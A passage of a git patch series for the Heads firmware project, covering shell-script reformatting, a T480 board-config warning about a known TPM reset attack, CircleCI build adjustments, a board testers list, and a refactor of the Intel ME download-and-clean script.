[ -x /bin/fbwhiptail ]; then + whiptail $BG_COLOR_WARNING "$@" + else + env NEWT_COLORS="root=,$TEXT_BG_COLOR_WARNING" whiptail "$@" + fi } # Produce a whiptail prompt with 'error' background, works for fbwhiptail and newt whiptail_error() { - if [ -x /bin/fbwhiptail ]; then - whiptail $BG_COLOR_ERROR "$@" - else - env NEWT_COLORS="root=,$TEXT_BG_COLOR_ERROR" whiptail "$@" - fi + if [ -x /bin/fbwhiptail ]; then + whiptail $BG_COLOR_ERROR "$@" + else + env NEWT_COLORS="root=,$TEXT_BG_COLOR_ERROR" whiptail "$@" + fi } # Produce a whiptail prompt of the given type - 'error', 'warning', or 'normal' whiptail_type() { - local TYPE="$1" - shift - case "$TYPE" in - error) - whiptail_error "$@" - ;; - warning) - whiptail_warning "$@" - ;; - normal) - whiptail "$@" - ;; - esac + local TYPE="$1" + shift + case "$TYPE" in + error) + whiptail_error "$@" + ;; + warning) + whiptail_warning "$@" + ;; + normal) + whiptail "$@" + ;; + esac } # Create display text for a size in bytes in either MB or GB, unit selected @@ -77,16 +75,16 @@ display_size() { size_bytes="$1" # If it's less than 1 GB, display MB - if [ "$((size_bytes))" -lt "$((1024*1024*1024))" ]; then - unit_divisor=$((1024*1024)) + if [ "$((size_bytes))" -lt "$((1024 * 1024 * 1024))" ]; then + unit_divisor=$((1024 * 1024)) unit_symbol="MB" else - unit_divisor=$((1024*1024*1024)) + unit_divisor=$((1024 * 1024 * 1024)) unit_symbol="GB" fi # Divide by the unit divisor and round to nearest - echo "$(( (size_bytes + unit_divisor/2) / unit_divisor )) $unit_symbol" + echo "$(((size_bytes + unit_divisor / 2) / unit_divisor)) $unit_symbol" } # Create display text for the size of a block device using MB or GB, rounded to @@ -114,8 +112,7 @@ display_block_device_size() { # Success: Sets FILE with the selected file # User aborted: Exits successfully with FILE empty # No entries in list: Displays error and exits unsuccessfully -file_selector() -{ +file_selector() { TRACE_FUNC local FILE_LIST MENU_MSG MENU_TITLE CHOICE_ARGS SHOW_SIZE OPTION_SIZE option_index @@ -140,7 +137,7 @@ file_selector() option="$option - $OPTION_SIZE" fi CHOICE_ARGS+=("$n" "$option") - done < "$FILE_LIST" + done <"$FILE_LIST" if [ "${#CHOICE_ARGS[@]}" -eq 0 ]; then whiptail_error --title 'ERROR: No Files Found' \ @@ -166,40 +163,36 @@ file_selector() done } -show_system_info() -{ - TRACE_FUNC - battery_charge="$(print_battery_charge)" - battery_health="$(print_battery_health)" - if [ -n $battery_charge -a -n $battery_health ];then - battery_status="\nBattery charge: $battery_charge%\nBattery health: $battery_health%\n" - fi - - memtotal=$(cat /proc/meminfo | grep 'MemTotal' | tr -s ' ' | cut -f2 -d ' ') - memtotal=$((${memtotal} / 1024 / 1024 + 1)) - cpustr=$(cat /proc/cpuinfo | grep 'model name' | uniq | sed -r 's/\(R\)//;s/\(TM\)//;s/CPU //;s/model name.*: //') - kernel=$(uname -s -r) - - whiptail_type $BG_COLOR_MAIN_MENU --title 'System Info' \ - --msgbox "${BOARD_NAME}\n\nFW_VER: ${FW_VER}\nKernel: ${kernel}\n\nCPU: ${cpustr}\nRAM: ${memtotal} GB\n$battery_status\n$(fdisk -l 2>/dev/null | grep -e '/dev/sd.:' -e '/dev/nvme.*:' | sed 's/B,.*/B/')" 0 80 +show_system_info() { + TRACE_FUNC + battery_charge="$(print_battery_charge)" + battery_health="$(print_battery_health)" + if [ -n "$battery_charge" ] && [ -n "$battery_health" ]; then + battery_status="\nBattery charge: $battery_charge%\nBattery health: $battery_health%\n" + fi + + memtotal=$(cat /proc/meminfo | grep 'MemTotal' | tr -s ' ' | cut -f2 -d ' ') + memtotal=$((${memtotal} / 1024 / 1024 + 1)) + cpustr=$(cat /proc/cpuinfo | grep 'model name' | uniq | sed -r 's/\(R\)//;s/\(TM\)//;s/CPU //;s/model name.*: //') + kernel=$(uname -s -r) + + whiptail_type $BG_COLOR_MAIN_MENU --title 'System Info' \ + --msgbox "${BOARD_NAME}\n\nFW_VER: ${FW_VER}\nKernel: ${kernel}\n\nCPU: ${cpustr}\nRAM: ${memtotal} GB\n$battery_status\n$(fdisk -l 2>/dev/null | grep -e '/dev/sd.:' -e '/dev/nvme.*:' | sed 's/B,.*/B/')" 0 80 } # Get "Enable" or "Disable" to display in the configuration menu, based on a # setting value -get_config_display_action() -{ - [ "$1" = "y" ] && echo "Disable" || echo "Enable" +get_config_display_action() { + [ "$1" = "y" ] && echo "Disable" || echo "Enable" } # Invert a config value -invert_config() -{ - [ "$1" = "y" ] && echo "n" || echo "y" +invert_config() { + [ "$1" = "y" ] && echo "n" || echo "y" } # Get "Enable" or "Disable" for a config that internally is inverted (because it # disables a behavior that is on by default). -get_inverted_config_display_action() -{ - get_config_display_action "$(invert_config "$1")" +get_inverted_config_display_action() { + get_config_display_action "$(invert_config "$1")" } From 9978aa6134cbd371778322d788a2a433715efea9 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Tue, 18 Feb 2025 21:30:47 +0100 Subject: [PATCH 44/50] add some warning to the t480 board config about the TPM GPIO reset attack https://mkukri.xyz/2024/06/01/tpm-gpio-fail.html Signed-off-by: gaspar-ilom --- boards/t480-hotp-maximized/t480-hotp-maximized.config | 7 +++++++ boards/t480-maximized/t480-maximized.config | 7 +++++++ 2 files changed, 14 insertions(+) diff --git a/boards/t480-hotp-maximized/t480-hotp-maximized.config b/boards/t480-hotp-maximized/t480-hotp-maximized.config index a04bf8ff1..876c1482b 100644 --- a/boards/t480-hotp-maximized/t480-hotp-maximized.config +++ b/boards/t480-hotp-maximized/t480-hotp-maximized.config @@ -1,5 +1,12 @@ # Configuration for a T480 running Qubes 4.2.3 and other Linux Based OSes (through kexec) # +# CAVEATS: +# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. +# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. +# Also it can be used to extract FDE keys from a TPM. +# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 +# Make sure you understand the implications of the attack for your threat model before using this board. +# # Includes # - Deactivated+neutered+deguarded ME and expanded consequent IFD BIOS regions # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480-maximized/t480-maximized.config index 5e6a8d1e2..71be0ed71 100644 --- a/boards/t480-maximized/t480-maximized.config +++ b/boards/t480-maximized/t480-maximized.config @@ -1,5 +1,12 @@ # Configuration for a T480 running Qubes 4.2.3 and other Linux Based OSes (through kexec) # +# CAVEATS: +# This board is vulnerable to a TPM reset attack, i.e. the PCRs are reset while the system is running. +# This attack can be used to bypass measured boot when an attacker succeeds at modifying the SPI flash. +# Also it can be used to extract FDE keys from a TPM. +# The related coreboot issue contains more information: https://ticket.coreboot.org/issues/576 +# Make sure you understand the implications of the attack for your threat model before using this board. +# # Includes # - Deactivated+neutered+deguarded ME and expanded consequent IFD BIOS regions # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) From 384e2438d296a10e79d761f8b6b92db463360709 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 19 Feb 2025 11:24:05 -0500 Subject: [PATCH 45/50] TESTING: CircleCI: force AVAILABLE_MEM_GB=8 so that we respect guaranteed minimal resource allocation of CircleCI being 8Gb. Will slow down builds.... Reasoning: - t480 depends on coreboot 24.12, which in turn depends on gcc 14.2 and consumes more memory through parallelization of CircleCI builds which randomly fails if CircleCI with 24.12 Failsafe which might break builds since less threads will be used to build, will see. TODO: reevaluate if builds take too long and timeouts on max 1h build time per step. Signed-off-by: Thierry Laurion --- .circleci/config.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 07a0f63b8..87790e92d 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -16,7 +16,8 @@ commands: echo "Sourcing /devenv.sh since docker entrypoint doesn't do it as expected" source /devenv.sh rm -rf build/<< parameters.arch >>/<< parameters.target >>/* build/<< parameters.arch >>/log/* - make V=1 BOARD=<< parameters.target >> << parameters.subcommand >> | ts || touch ./tmpDir/failed_build + #Force -j8 so that each make subtask consumes 1gb max and force respect of minimal requirements of CircleCI which otherwise randomly fails + make V=1 BOARD=<< parameters.target >> << parameters.subcommand >> AVAILABLE_MEM_GB=8 | ts || touch ./tmpDir/failed_build no_output_timeout: 3h - run: name: Output hashes From 67a027d4f81909d420575145c104f07736eda91e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 19 Feb 2025 11:30:08 -0500 Subject: [PATCH 46/50] CircleCI: add coreboot 24.12 in save_cache/restore_cache statements in case we change CircleCI worskpace caches leading to build artifacts being reusable in the future Signed-off-by: Thierry Laurion --- .circleci/config.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.circleci/config.yml b/.circleci/config.yml index 87790e92d..b88d3df59 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -189,6 +189,7 @@ jobs: - build/ppc64/musl-cross-make-38e52db8358c043ae82b346a2e6e66bc86a53bc1 - build/x86/coreboot-4.11 - build/x86/coreboot-24.02.01 + - build/x86/coreboot-24.12 - build/x86/coreboot-dasharo - build/x86/coreboot-purism - build/x86/musl-cross-make-38e52db8358c043ae82b346a2e6e66bc86a53bc1 From 84c0b2dac8b5ca097d4dd1b65840d57fba3190b9 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 19 Feb 2025 13:29:01 -0500 Subject: [PATCH 47/50] CircleCI: drop building d16 which causes build issues with changes to CircleCI to build for t480. Delegating needed fixes to https://github.com/linuxboot/heads/pull/1910 community effort and for the d16 club d16 board owners Signed-off-by: Thierry Laurion --- .circleci/config.yml | 32 -------------------------------- 1 file changed, 32 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index b88d3df59..65ee9bf9e 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -543,35 +543,3 @@ workflows: requires: - x230-hotp-maximized - # coreboot 4.11 - - build: - name: UNMAINTAINED_kgpe-d16_workstation - target: UNMAINTAINED_kgpe-d16_workstation - subcommand: "" - requires: - - librem_l1um - - # coreboot 4.11 - - build: - name: UNMAINTAINED_kgpe-d16_workstation-usb_keyboard - target: UNMAINTAINED_kgpe-d16_workstation-usb_keyboard - subcommand: "" - requires: - - librem_l1um - - # coreboot 4.11 - - build: - name: UNMAINTAINED_kgpe-d16_server - target: UNMAINTAINED_kgpe-d16_server - subcommand: "" - requires: - - librem_l1um - - # coreboot 4.11 - - build: - name: UNMAINTAINED_kgpe-d16_server-whiptail - target: UNMAINTAINED_kgpe-d16_server-whiptail - subcommand: "" - requires: - - librem_l1um - From 0416162dedadd7b3402eb37ca0a0e6b443b2e238 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Wed, 19 Feb 2025 22:10:52 +0100 Subject: [PATCH 48/50] add more volunteers as board testers for the T480 remove the not (yet) supported t480s from the board testers file Signed-off-by: gaspar-ilom --- BOARD_TESTERS.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/BOARD_TESTERS.md b/BOARD_TESTERS.md index e34c3b630..5a912bd18 100644 --- a/BOARD_TESTERS.md +++ b/BOARD_TESTERS.md @@ -34,8 +34,7 @@ xx4x(Haswell): xx8x(Kaby Lake Refresh): === -- [ ] t480: @gaspar-ilom -- [ ] t480s (similar to t480): TODO: NOT SUPPORTED OR TESTED YET +- [ ] t480: @gaspar-ilom @doritos4mlady @MattClifton76 Librems: === From aadbe93dea14e9874b92adba3e4c76c52a2df047 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Fri, 21 Feb 2025 12:48:14 +0100 Subject: [PATCH 49/50] move me_cleaner.py to a common utils dir under blobs/ so that it can be used by any board Signed-off-by: gaspar-ilom --- .circleci/config.yml | 4 ++-- blobs/{xx30 => utils/me_cleaner}/me_cleaner.py | 0 2 files changed, 2 insertions(+), 2 deletions(-) rename blobs/{xx30 => utils/me_cleaner}/me_cleaner.py (100%) diff --git a/.circleci/config.yml b/.circleci/config.yml index 65ee9bf9e..98cfce176 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -93,10 +93,10 @@ jobs: command: | ./blobs/xx30/optiplex_7010_9010.sh ./blobs/xx30 - run: - # me_cleaner.py present under heads xx30 blobs dir comes from https://github.com/corna/me_cleaner/blob/43612a630c79f3bc6f2653bfe90dfe0b7b137e08/me_cleaner.py + # me_cleaner.py present under heads blobs/utils/me_cleaner dir comes from https://github.com/corna/me_cleaner/blob/43612a630c79f3bc6f2653bfe90dfe0b7b137e08/me_cleaner.py name: Download and neuter xx30 ME (keep generated GBE and extracted IFD in tree) command: | - ./blobs/xx30/download_clean_me_manually.sh -m $(readlink -f ./blobs/xx30/me_cleaner.py) + ./blobs/xx30/download_clean_me_manually.sh -m $(readlink -f ./blobs/utils/me_cleaner/me_cleaner.py) - run: name: Download and extract t530 vbios roms for dgpu boards command: | diff --git a/blobs/xx30/me_cleaner.py b/blobs/utils/me_cleaner/me_cleaner.py similarity index 100% rename from blobs/xx30/me_cleaner.py rename to blobs/utils/me_cleaner/me_cleaner.py From 1e0258b7f11e120f57ee450f1a41ada0b2756c32 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Fri, 21 Feb 2025 14:04:53 +0100 Subject: [PATCH 50/50] use common me_cleaner.py for T480 make circleci create the cleaned and deguarded me blob for the T480 to improve performance by allowing to reuse the workspace Signed-off-by: gaspar-ilom --- .circleci/config.yml | 6 +- blobs/xx80/download_clean_deguard_me.sh | 82 +++++++++++++++++-------- 2 files changed, 60 insertions(+), 28 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 98cfce176..ad1bb569d 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -92,11 +92,15 @@ jobs: name: Download Optiplex 7010/9010 blobs command: | ./blobs/xx30/optiplex_7010_9010.sh ./blobs/xx30 + # me_cleaner.py present under heads blobs/utils/me_cleaner dir comes from https://github.com/corna/me_cleaner/blob/43612a630c79f3bc6f2653bfe90dfe0b7b137e08/me_cleaner.py - run: - # me_cleaner.py present under heads blobs/utils/me_cleaner dir comes from https://github.com/corna/me_cleaner/blob/43612a630c79f3bc6f2653bfe90dfe0b7b137e08/me_cleaner.py name: Download and neuter xx30 ME (keep generated GBE and extracted IFD in tree) command: | ./blobs/xx30/download_clean_me_manually.sh -m $(readlink -f ./blobs/utils/me_cleaner/me_cleaner.py) + - run: + name: Download, neuter and deguard xx80 ME (keep generated GBE and extracted IFD in tree) + command: | + ./blobs/xx80/download_clean_deguard_me.sh -m $(readlink -f ./blobs/utils/me_cleaner/me_cleaner.py) ./blobs/xx80/ - run: name: Download and extract t530 vbios roms for dgpu boards command: | diff --git a/blobs/xx80/download_clean_deguard_me.sh b/blobs/xx80/download_clean_deguard_me.sh index 6d391f9cc..e9f7011bc 100755 --- a/blobs/xx80/download_clean_deguard_me.sh +++ b/blobs/xx80/download_clean_deguard_me.sh @@ -14,7 +14,7 @@ DEGUARDED_ME_BIN_HASH="1990b42df67ba70292f4f6e2660efb909917452dcb9bd4b65ea2f8640 function usage() { echo -n \ - "Usage: $(basename "$0") path_to_output_directory + "Usage: $(basename "$0") -m (optional) path_to_output_directory Download Intel ME firmware from Dell, neutralize and shrink keeping the MFS. " } @@ -43,7 +43,8 @@ function chk_exists() { } function download_and_clean() { - me_output="$(realpath "${1}")" + me_cleaner="$(realpath "${1}")" + me_output="$(realpath "${2}")" # Download and unpack the Dell installer into a temporary directory and # extract the deguardable Intel ME blob. @@ -63,21 +64,16 @@ function download_and_clean() { extracted_me_filename="1 Inspiron_5468_1.3.0 -- 3 Intel Management Engine (Non-VPro) Update v${ME_version}.bin" - mv "${me_installer_filename}_extracted/Firmware/${extracted_me_filename}" "${COREBOOT_DIR}/util/me_cleaner" - rm -rf ./* - popd || exit - # Neutralize and shrink Intel ME. Note that this doesn't include # --soft-disable to set the "ME Disable" or "ME Disable B" (e.g., # High Assurance Program) bits, as they are defined within the Flash # Descriptor. # However, the HAP bit must be enabled to make the deguarded ME work. We only clean the ME in this function. # https://github.com/corna/me_cleaner/wiki/External-flashing#neutralize-and-shrink-intel-me-useful-only-for-coreboot - pushd "${COREBOOT_DIR}/util/me_cleaner" || exit # MFS is needed for deguard so we whitelist it here and also do not relocate the FTPR partition - python me_cleaner.py --whitelist MFS -t -O "$me_output" "$extracted_me_filename" - rm -f "$extracted_me_filename" + python "$me_cleaner" --whitelist MFS -t -O "$me_output" "${me_installer_filename}_extracted/Firmware/${extracted_me_filename}" + rm -rf ./* popd || exit } @@ -106,27 +102,59 @@ function deguard() { popd || exit } -if [[ "${BASH_SOURCE[0]}" == "$0" ]]; then - if [[ "${1:-}" == "--help" ]]; then - usage - else - - output_dir="$(realpath "${1:-./}")" - me_cleaned="${output_dir}/me_cleaned.bin" - me_deguarded="${output_dir}/me.bin" - chk_exists +function usage_err() { + echo "$1" + usage + exit 1 +} +function parse_params() { + while getopts ":m:" opt; do + case $opt in + m) + if [[ -x "$OPTARG" ]]; then + me_cleaner="$OPTARG" + fi + ;; + ?) + usage_err "Invalid Option: -$OPTARG" + ;; + esac + done + + if [[ -z "${me_cleaner}" ]]; then if [[ -z "${COREBOOT_DIR}" ]]; then - echo "ERROR: No COREBOOT_DIR variable defined." - exit 1 + usage_err "ERROR: me_cleaner.py not found. Set path with -m parameter or define the COREBOOT_DIR variable." + else + me_cleaner="${COREBOOT_DIR}/util/me_cleaner/me_cleaner.py" fi + fi + echo "Using me_cleaner from ${me_cleaner}" - if [[ ! -f "$me_deguarded" ]] || [ "$retry" = "y" ]; then - download_and_clean "$me_cleaned" - deguard "$me_cleaned" "$me_deguarded" - rm -f "$me_cleaned" - fi + shift $(($OPTIND - 1)) + output_dir="$(realpath "${1:-./}")" + if [[ ! -d "${output_dir}" ]]; then + usage_err "No valid output dir found" + fi + me_cleaned="${output_dir}/me_cleaned.bin" + me_deguarded="${output_dir}/me.bin" + echo "Writing cleaned and deguarded ME to ${me_deguarded}" +} + +if [[ "${BASH_SOURCE[0]}" == "$0" ]]; then + if [[ "${1:-}" == "--help" ]]; then + usage + exit 0 + fi - chk_sha256sum "$DEGUARDED_ME_BIN_HASH" "$me_deguarded" + parse_params "$@" + chk_exists + + if [[ ! -f "$me_deguarded" ]] || [ "$retry" = "y" ]; then + download_and_clean "$me_cleaner" "$me_cleaned" + deguard "$me_cleaned" "$me_deguarded" + rm -f "$me_cleaned" fi -fi + + chk_sha256sum "$DEGUARDED_ME_BIN_HASH" "$me_deguarded" +fi \ No newline at end of file